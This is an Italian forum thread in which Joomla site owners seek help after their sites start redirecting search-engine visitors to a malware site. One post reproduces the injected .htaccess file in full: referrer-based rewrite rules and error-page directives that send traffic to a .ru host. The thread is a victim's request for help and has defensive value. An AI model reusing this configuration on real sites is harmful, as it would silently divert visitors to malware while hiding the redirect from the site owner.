errore re indirizzamento

[robinmaster]

Buona sera a tutti. Spero di postare nella sezione corretta.
Ho un grossissimo problema con joomla e google. Nei risultati organici e in adwords quando si clicca sul mio sito si viene reindirizzati ad una pagina che indirizza ad un sito con un virus.
Purtroppo non riesco a trovare se benedetta pagina malefica o quello che sia..
Una cosa che vedo tramite i log di apache è l'indirizzo corretto dell'articolo..è il seguente..
http://www.google.it/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CCIQFjAA&url=http%3A%2F%2Fwww.resinestrutturate.it%2F&ei=n7-aT-jgKomH4gSSyoGEDw&usg=AFQjCNEtux3wO86J96LxfJ_J25oi9LTVuQ

In google webmaster tool la scansione da errore su questa pagina
index.php%3Foption%3Dcom_content%26view%3Darticle%26id%3D54%26Itemid%3D43%26lang%3Dit
Credo che sia identica a quella riportata dal server apache.

Il problema è che non lo trovo... Qualcuno ha qualche idea???
Grazie.

[robinmaster]

Questa è il link che non funziona.. Che rimanda a file del re indirizzamento non corretto..


http://www.resinestrutturate.it/index.php%3Foption%3Dcom_content%26view%3Darticle%26id%3D54%26Itemid%3D43%26lang%3Dit,404,,04/12/11,Non trovato

[M_W_C]

... a me non va nemmeno il sito senza nessun uri http://www.resinestrutturate.it/

M.

[robinmaster]

Ho trovato... Forse.. probabilmente hanno alterato il file .htacces.. Adesso sto ri uploadado il sito..
A breve vediamo se avevo ragione..

[M_W_C]

se è così, come è probabile, fai una bella scansione fuori linea dei pc che usi per accedere all'amministrazione del sito con un buon antivirus, meglio se + di uno.

M.

[robinmaster]

Non credo che il mac abbia virus.

[M_W_C]

non è "il mac" è il browser

M.

[robinmaster]

CAVOLO ancora.. Prova a vedere.. Vai su google e cerca resinestrutturate...
Vieni diretto ad un altro link

[M_W_C]

hai cambiato le password ftp?

io continuo a sostenere che è un pw stealing tramite il browser... ma non sono gesù

inoltre spesso vengono inserite backdoor, prova a cercare in locale con un text finder se trovi qualche eval(
http://php.net/manual/en/function.eval.php

M.

[robinmaster]

Andando sulla home page direttamente ho caricato il codice..
Ho trovato questo:


/templates/rt_hivemind_j15/rokzoom/rokzoom.css


Cliccando sul link diretto ti porta al sito incriminato nel redirect..
www.resinestrutturate.it/templates/rt_hivemind_j15/rokzoom/rokzoom.css


Controlla... Ma la cosa strana è che non riesco a capire da dove lo carica ste codice...

[M_W_C]

ummhh no, non arrivi nel sito la redirezione avviene prima, direi ancora nell'htaccess... perchè non lo disabiliti un po' finchè non risolvi? ... togli il sef e il rewrite dalla configurazione.

M.

[robinmaster]

da dove?

[robinmaster]

O meglio con che permessi lo setto?? adesso è 444

[robinmaster]

Ok adesso funzia.. Ho cancellato tutti i file htaccess.
Vorrei capire come ha fatto qualcuno a modificare i file....
Bha.. Grazie per aiuto..

[robinmaster]

Niente da fare.. Continua a scrivere i file htaccess.
Come risolvo qualche idea??

[robinmaster]

Ecco qui il file .htaccess


RewriteEngine On    RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)    RewriteRule ^(.*)$ http://san-agater.ru/easy?9 [R=301,L]    RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)    RewriteRule ^(.*)$ http://san-agater.ru/easy?9 [R=301,L][/size]ErrorDocument 400 http://san-agater.ru/easy?9    ErrorDocument 401 http://san-agater.ru/easy?9    ErrorDocument 403 http://san-agater.ru/easy?9    ErrorDocument 404 http://san-agater.ru/easy?9    ErrorDocument 500 http://san-agater.ru/easy?9

[M_W_C]

hai cambiato le password ftp?

io continuo a sostenere che è un pw stealing tramite il browser... ma non sono gesù

inoltre spesso vengono inserite backdoor, prova a cercare in locale con un text finder se trovi qualche eval(
http://php.net/manual/en/function.eval.php

M.

[fotovideoplay]

Scusa ma hai risolto?
Ho anche io lo sesso problema.. hai risolto??
Non riesco a capire come fa, .. io sono un pistola e non ci capisco tanto..
Aiutooooo

[M_W_C]

ma hai letto i post? ... e se si, cosa hai fatto?

M.

[secestato]

stesso problema, se lo levo lo riscrive, oppure modifica l htaccess che c'è, ho reinstyallato i broweser, joomla, cambiato ftp e admin come password, controllato i permessi. Da dove cavolo modifica ed anche i miei reindirezzamenti sono .ru, è una brutta falla questa ed è joomla 2.5. Help